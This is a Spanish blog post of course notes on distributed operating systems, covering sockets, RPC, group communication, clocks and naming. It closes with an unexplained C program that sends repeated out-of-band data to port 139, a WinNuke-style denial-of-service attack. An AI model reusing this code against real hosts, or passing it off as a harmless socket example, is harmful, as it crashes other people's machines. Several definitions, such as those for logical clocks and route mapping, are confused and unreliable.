miércoles, 2 de mayo de 2012

Unidad ll


    Comunicación entre los sistemas Operativos Distribuidos

Introducción

En un sistema distribuido no existe la memoria compartida y por ello toda la naturaleza de la comunicación entre procesos debe replantearse.
Los procesos, para comunicarse, deben apegarse a reglas conocidas como protocolos.
Para los sistemas distribuidos en un área amplia, estos protocolos toman frecuentemente la forma de varias capas y cada capa tiene sus propias metas y reglas.
Los mensajes se intercambian de diversas formas, existiendo muchas opciones de diseño al respecto; una importante opción es la “llamada a un procedimiento remoto”.
También es importante considerar las posibilidades de comunicación entre grupos de procesos, no solo entre dos procesos.


Comunicación Cliente-Servidor (Socket)

Sockets Son el mecanismo de sincronización distribuida más importante.
Se les denomina conectores porque pueden unir un proceso cliente y un proceso servidor de manera semejante a como se puede unir un enchufe de un dispositivo eléctrico a su respectivo zócalo.
De los mecanismos de sockets el mas conocido es referente a al API de Berkeley y esta implementado en prácticamente todos los sistemas Unix por lo que se maneja C, pero también esta portado a otras arquitecturas como Windows (WinSock) y
otros lenguajes como Java.
Para la comunicación de procesos remotos se necesita conocer la dirección de la maquina destino y el puerto. Para hacer uso de los sockets necesitamos dos cosas una familia de protocolos para comunicación y un tipo de conexión.



SOCKET RCP (REMOTE PROCEDURE CALL) 

Un servidor RPC consiste en una colección de procedimientos que un cliente puede solicitar por el envío de una petición RPC al servidor junto con los parámetros del procedimiento. El servidor invocará el procedimiento indicado en nombre del cliente, entregando el valor de retorno, si hay alguno. Para ser independiente de la máquina, todos los datos intercambiados entre el cliente y el servidor se convierten al formato External Data Representation (XDR) por el emisor, y son reconvertidos a la representación local por el receptor. RPC confía en sockets estándar UDP y TCP para transportar los datos en formato XDR hacia el host remoto. Sun amablemente a puesto RPC en el dominio público; se describe en una serie de RFCs.

                              
   COMUNICACION EN GRUPO

Un grupo es una colección de procesos que actúan juntos en cierto sistema o alguna forma determinada por el usuario.
La propiedad fundamental de todos los grupos es que cuando un mensaje se envía al propio grupo, todos los miembros del grupo lo reciben.
Se trata de una comunicación uno - muchos (un emisor, muchos receptores), que se distingue de la comunicación puntual o punto a punto (un emisor, un receptor).
TOLERANCIA A FALLOS

Que el sistema de archivos sea tolerante a fallos implica qué el sistema debe guardar copias del mismo archivo en distintos ordenadores para garantizar la disponibilidad en caso de fallo del servidor original.
Se debe aplicar un algoritmo que nos permita mantener todas las copias actualizadas de forma constante, o un método alternativo que solo nos permita al archivo actualizado como invalidar el resto de copias cuando en cualquiera de ellas se vaya a realizar una operación de escritura

                          PREVENCION Y TOLERANCIA A FALLOS

Existen dos formas de aumentar la fiabilidad de un sistema.
1.Prevención de fallos: Se trata de evitar que se implementen sistemas que pueden introducir fallos.
2.Tolerancia a fallos: Se trata de conseguir que el sistema continué funcionando correctamente aunque se presenten algunos fallos.

SINCRONIZACION DE LOS SISTEMAS OPERATIVOS


La sincronización de relojes en un sistema distribuido consiste en garantizar que los procesos se ejecuten en forma cronológica y a la misma vez respetar el orden de los eventos dentro del sistema. Para lograr esto existen varios métodos o algoritmos que se programan dentro del sistema operativo.


RELOJES LOGICOS

Las computadoras poseen un circuito para el registro del tiempo conocido como dispositivo reloj
Es un cronómetro consistente en un cristal de cuarzo de precisión sometido a una tensión eléctrica que:
   Oscila con una frecuencia bien definida que depende de:
                        Al forma en que se corte el cristal.
                        El tipo de cristal.
                        La magnitud de la tensión.
   A cada cristal se le asocian dos registros:
                        Registro contador.
                        Registro mantenedor.
   Cada oscilación del cristal decrementa en “1” al contador.
   Cuando el contador llega a “0”:
                        Se genera una interrupción.
                        El contador se vuelve a cargar mediante el registro mantenedor.
   Se puede programar un cronómetro para que genere una interrupción “x” veces por segundo.
Cada interrupción se denomina marca de reloj.


RELOJES FISICOS

La idea es proveer de un único bloque de tiempo para el sistema. Los procesos pueden usar la marca física del tiempo provista o leída de un reloj central para expresar algún orden en el conjunto de acciones que inician. La principal ventaja de este mecanismo es la simplicidad, aunque existen varios inconvenientes: el correcto registro del tiempo depende en la posibilidad de recibir correctamente y en todo momento, el tiempo actual desplegado por el reloj físico; los errores de transmisión se convierten en un impedimento para el orden deseado, el grado de exactitud depende de las constantes puestas en el sistema.



NOMINACION CARACTERISTICAS Y ESTRUCTURA

La nominación es una correspondencia entre objetos de datos lógicos y físicos. Por ejemplo, los usuarios tratan con objetos de datos lógicos representados por nombre de archivos, mientras que el sistema manipula bloques de datos físicos almacenados en las pistas de los discos. Generalmente un usuario se refiere a un archivo utilizando un nombre , el cual se transforma en un identificador numérico de bajo nivel, que a su vez se corresponde con bloques en disco. Esta correspondencia multinivel ofrece a los usuarios la abstracción de un archivo, que oculta los detalles de cómo y donde se almacena el archivo en disco.

MAPEO DE DIRECCIONES

El mapeo de direcciones corresponde en la relación de equivalencia entre un tipo de nombre a otro tipo de nombre; por ejemplo, de un nombre de usuario a un nombre de sistema.

Para poder ejecutar instrucciones, se debe tener un mecanismo de traducción de direcciones virtuales a reales. Para ello, se necesitan dos cosas.
Primero, el compilador manejará una dirección base más un desplazamiento al referirse a las instrucciones.
Segundo, el sistema operativo asignará como dirección base el número de página, al paginar al proceso.
De esta manera, puede buscarse el inicio de una página en memoria, sumarle el desplazamiento y así obtener la dirección real de una instrucción.

MAPEO DE RUTAS

El Mapeo de rutas describe un ambiente futuro, los objetivos que pueden
llegar a obtenerse con ese ambiente y los planes para lograr los objetivos  planteados a través del tiempo. Explicita una estructura, o arquitectura,
como una vía para el entendimiento de cómo las partes de un complejo sistema tecnológico encajan, interactúan y evolucionan. Así mismo, articula aplicaciones, desafíos tecnológicos y soluciones tecnológicas en forma conjunta y ayuda a establecer las prioridades para la consecución de los objetivos.

MODELO DE TERRY

Los mensajes remitentes entre los procesos y objetos soportados por un sistema operativo precisa la presentación para el sistema operativo de los
nombres de los objetos que los procesos quieren ganar acceso a. El problema es cómo localizar objetos nombrados. Esto está directamente conectado a la gerencia del espacio de nombre y las estructuras de la facilidad de nombramiento.


PROGRAMA

void uso(char *pr)
{
        printf(" Uso:\n");
        printf("\t %s <dst ip> [dst port] [num]\n\n",pr);
        exit(0);
}

void main(int argc,char **argv)
{
        int fd = socket(AF_INET,SOCK_STREAM,6);
        struct sockaddr_in dir = {AF_INET,htons(139),0};
        char *crack = "¡taluego lucas!";
        int num = 1;

        if (argc < 2) uso(argv[0]);
        if (argc > 2) dir.sin_port = htons(atoi(argv[2]));
        if (argc > 3) num = atoi(argv[3]);
        dir.sin_addr.s_addr = inet_addr(argv[1]);

        if (connect(fd,(struct sockaddr_in*)&dir,sizeof(dir)) == -1)
        {
                perror(" connect() ");
                exit(0);
        }

       while (num--)
        if (send(fd,crack,strlen(crack),MSG_OOB) > 0) printf(" [b00m]");

        close(fd);
       printf("\n");
}



Bibliografía:
 http://es.scribd.com/doc/44804989/Nominacion